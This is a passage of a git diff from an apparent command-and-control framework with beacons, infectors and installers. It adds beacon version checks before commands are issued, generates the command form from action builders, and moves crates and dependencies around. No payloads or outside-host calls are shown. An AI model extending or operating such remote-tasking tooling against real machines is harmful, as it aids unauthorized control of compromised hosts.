r#"SELECT version as "version: Version" FROM beacon_instance WHERE beacon_id = ?"#, + bid + ) + .fetch_one(&db) + .await?; + + if beacon_instance.version < command_builder.required_version() { + return Err(ServerFnError::::ServerError(format!( + "Beacon does not meet the minimum required version to run that command ({} vs {})", + beacon_instance.version, + command_builder.required_version() + ))); + } + sqlx::query!( "INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id) VALUES (?, ?, ?, ?)", @@ -262,16 +153,20 @@ pub async fn issue_command( .await?; } Target::Category(cid) => { + let version = command_builder.required_version(); + sqlx::query!( "INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id) SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id - WHERE bc.category_id = ?", + WHERE bc.category_id = ? + AND bi.version >= ?", command_id, now, user.user_id, - cid + cid, + version ) .execute(&db) .await?; @@ -290,6 +185,8 @@ pub fn CommandForm(categories: Vec, beacon_id: Option) -> impl } }); + let (current_cmd, set_current_cmd) = signal("Exec".to_owned()); + view! { {(categories.is_empty() && beacon_id.is_none()) .then(|| view! { @@ -318,14 +215,14 @@ pub fn CommandForm(categories: Vec, beacon_id: Option) -> impl "Issue new command" {if let Some(bid) = beacon_id.clone() { Either::Left(view! { - + }) } else { Either::Right(view! { - {categories .iter() .map(|cat| view! { @@ -338,27 +235,34 @@ pub fn CommandForm(categories: Vec, beacon_id: Option) -> impl }) }} - + {sparse_actions::actions::ACTION_BUILDERS + .iter() + .map(|b| view! { + + }) + .collect_view()} - - - - - - - - - - - - + {move || sparse_actions::actions::ACTION_BUILDERS + .iter() + .find(|b| b.name() == *current_cmd.read()) + .map(|b| b + .form_elements() + .iter() + .map(|(label, name, itype)| view! { + + + }) + .collect_view())}
diff --git a/sparse-server/src/beacons/sidebar.rs b/sparse-server/src/beacons/sidebar.rs index 0bea4d2..ff59897 100644 --- a/sparse-server/src/beacons/sidebar.rs +++ b/sparse-server/src/beacons/sidebar.rs @@ -52,6 +52,7 @@ pub struct CurrentBeaconInstance { pub operating_system: String, pub userent: String, pub hostname: String, + pub version: sparse_actions::version::Version, pub last_checkin: chrono::DateTime, pub config_id: Option, pub template_id: i64, @@ -588,6 +589,9 @@ pub fn BeaconSidebar() -> impl IntoView {
"OS: " {beacon.operating_system.clone()}
+
+ "Version: " {beacon.version.to_string()} +
{(sort_method.get() != Some(SortMethod::Category)) .then(|| -> Vec { let BeaconResources { diff --git a/sparse-server/src/webserver.rs b/sparse-server/src/webserver.rs index 292b647..5c46858 100644 --- a/sparse-server/src/webserver.rs +++ b/sparse-server/src/webserver.rs @@ -13,6 +13,7 @@ use serde::Deserialize; use sqlx::sqlite::SqlitePool; use tokio::signal; +use sparse_actions::version::Version; use sparse_server::app::*; #[cfg(not(debug_assertions))] @@ -362,7 +363,8 @@ async fn handle_listener_events( { let beacons = sqlx::query!( - "SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance" + r#"SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system, + beacon_userent, hostname, config_id, version as "version: Version" FROM beacon_instance"# ) .fetch_all(&state.db) .await?; @@ -407,6 +409,7 @@ async fn handle_listener_events( userent: b.beacon_userent, hostname: b.hostname, config_id: b.config_id, + version: b.version, last_checkin: last_checkin .iter() .find(|ch| ch.beacon_id == b.beacon_id) @@ -440,8 +443,8 @@ async fn handle_listener_events( } Ok(BeaconEvent::NewBeacon(bid)) => { let beacon = sqlx::query!( - "SELECT template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance - WHERE beacon_id = ?", + r#"SELECT template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id, version as "version: Version" FROM beacon_instance + WHERE beacon_id = ?"#, bid ) .fetch_one(&state.db) @@ -465,6 +468,7 @@ async fn handle_listener_events( userent: beacon.beacon_userent, hostname: beacon.hostname, config_id: beacon.config_id, + version: beacon.version, last_checkin: chrono::Utc::now(), category_ids: category_ids.iter().map(|r| r.category_id).collect() }; diff --git a/sparse-server/style/beacons/_commands.scss b/sparse-server/style/beacons/_commands.scss index 2134f3a..977537e 100644 --- a/sparse-server/style/beacons/_commands.scss +++ b/sparse-server/style/beacons/_commands.scss @@ -11,28 +11,4 @@ main.beacons div.commands { margin: 10px; } } - - .cmd-exec, .cmd-install, .cmd-upload, .cmd-download, .cmd-chdir { - display: none; - } - - select[name="cmd_type"]:has(> option[value="exec"]:checked) ~ .cmd-exec { - display: block; - } - - select[name="cmd_type"]:has(> option[value="upload"]:checked) ~ .cmd-upload { - display: block; - } - - select[name="cmd_type"]:has(> option[value="download"]:checked) ~ .cmd-download { - display: block; - } - - select[name="cmd_type"]:has(> option[value="chdir"]:checked) ~ .cmd-chdir { - display: block; - } - - select[name="cmd_type"]:has(> option[value="install"]:checked) ~ .cmd-install { - display: block; - } } diff --git a/sparse-unix-beacon/Cargo.toml b/sparse-unix-beacon/Cargo.toml index 3445b15..3176047 100644 --- a/sparse-unix-beacon/Cargo.toml +++ b/sparse-unix-beacon/Cargo.toml @@ -10,8 +10,8 @@ async-trait = "0.1.86" tokio = { version = "1.43.0", features = ["fs", "macros", "rt"] } thiserror = "2.0.11" -sparse-beacon = { version = "0.7.0", path = "../sparse-beacon", features = ["ring"] } -sparse-actions = { version = "2.0.0", path = "../sparse-actions" } +sparse-beacon = { path = "../sparse-beacon", features = ["ring"] } +sparse-actions = { path = "../sparse-actions", features = ["beacon"] } [target.'cfg(target_os = "linux")'.dependencies] nl-sys = { version = "0.1.0", path = "../nl-sys" } diff --git a/sparse-unix-beacon/src/linux.rs b/sparse-unix-beacon/src/linux.rs index 676cedf..a05667a 100644 --- a/sparse-unix-beacon/src/linux.rs +++ b/sparse-unix-beacon/src/linux.rs @@ -2,7 +2,7 @@ use std::net::Ipv4Addr; use nl_sys::netlink; -use sparse_beacon::{ +use sparse_actions::{ adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute}, error, }; @@ -13,7 +13,7 @@ pub enum LinuxAdapterError { Nl(#[from] nl_sys::error::Error), } -impl sparse_beacon::error::AdapterError for LinuxAdapterError {} +impl sparse_actions::error::AdapterError for LinuxAdapterError {} #[derive(Clone)] pub struct LinuxAdapter; diff --git a/sparse-unix-beacon/src/main.rs b/sparse-unix-beacon/src/main.rs index 600f6c8..b6e78a2 100644 --- a/sparse-unix-beacon/src/main.rs +++ b/sparse-unix-beacon/src/main.rs @@ -2,8 +2,7 @@ use std::io::SeekFrom; use tokio::io::{AsyncReadExt, AsyncSeekExt}; -use sparse_actions::payload_types::{Parameters, XOR_KEY}; -use sparse_beacon::adapter::BeaconAdapter; +use sparse_actions::{adapter::BeaconAdapter, payload_types::{Parameters, XOR_KEY}}; #[cfg(target_os = "linux")] mod linux; @@ -16,7 +15,7 @@ mod freebsd; use freebsd::FreeBsdAdapter as Adapter; #[tokio::main] -async fn main() -> Result<(), sparse_beacon::BeaconError<::Error>> { +async fn main() -> Result<(), sparse_actions::error::BeaconError<::Error>> { #[cfg(target_os = "linux")] let mut binary_file = tokio::fs::OpenOptions::new() .read(true) diff --git a/sparse-unix-infector/Cargo.toml b/sparse-unix-infector/Cargo.toml index 7d09f47..2980ed8 100644 --- a/sparse-unix-infector/Cargo.toml +++ b/sparse-unix-infector/Cargo.toml @@ -5,6 +5,6 @@ version.workspace = true [dependencies] libc = "0.2.169" -sparse-actions = { version = "2.0.0", path = "../sparse-actions" } +sparse-actions = { path = "../sparse-actions" } errno = "0.3" cfg-if = "1.0.0" diff --git a/sparse-unix-installer/Cargo.toml b/sparse-unix-installer/Cargo.toml index 866a752..d802d88 100644 --- a/sparse-unix-installer/Cargo.toml +++ b/sparse-unix-installer/Cargo.toml @@ -8,6 +8,6 @@ errno = "0.3.10" hex = "0.4.3" libc = "0.2.169" rand = "0.9.0" -sparse-actions = { version = "2.0.0", path = "../sparse-actions" } -sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" } +sparse-actions = { path = "../sparse-actions" } +sparse-unix-infector = { path = "../sparse-unix-infector" } structopt = "0.3.26" diff --git a/sparse-windows-beacon/Cargo.toml b/sparse-windows-beacon/Cargo.toml index b540799..0533eb0 100644 --- a/sparse-windows-beacon/Cargo.toml +++ b/sparse-windows-beacon/Cargo.toml @@ -16,8 +16,8 @@ windows-result = "0.3.0" windows-strings = "0.3.0" winreg = "0.55" -sparse-actions = { version = "2.0.0", path = "../sparse-actions" } -sparse-beacon = { version = "0.7.0", path = "../sparse-beacon", features = ["openssl"] } +sparse-actions = { path = "../sparse-actions" } +sparse-beacon = { path = "../sparse-beacon", features = ["openssl"] } [features] service = [] diff --git a/sparse-windows-infector/Cargo.toml b/sparse-windows-infector/Cargo.toml index 376b32f..0f5115a 100644 --- a/sparse-windows-infector/Cargo.toml +++ b/sparse-windows-infector/Cargo.toml @@ -5,4 +5,4 @@ version.workspace = true [dependencies] errno = "0.3.10" -sparse-actions = { version = "2.0.0", path = "../sparse-actions" } +sparse-actions = { path = "../sparse-actions" } diff --git a/sparse-windows-installer/Cargo.toml b/sparse-windows-installer/Cargo.toml index a409f85..1a0f135 100644 --- a/sparse-windows-installer/Cargo.toml +++ b/sparse-windows-installer/Cargo.toml @@ -7,9 +7,10 @@ version.workspace = true errno = "0.3.10" hex = "0.4.3" rand = "0.9.0" -sparse-actions = { version = "2.0.0", path = "../sparse-actions" } -sparse-windows-infector = { version = "2.0.0", path = "../sparse-windows-infector" } structopt = "0.3.26" windows = { version = "0.59.0", features = ["Win32_System_Services"] } windows-strings = "0.3.0" winreg = "0.55.0" + +sparse-actions = { path = "../sparse-actions" } +sparse-windows-infector = { path = "../sparse-windows-infector" }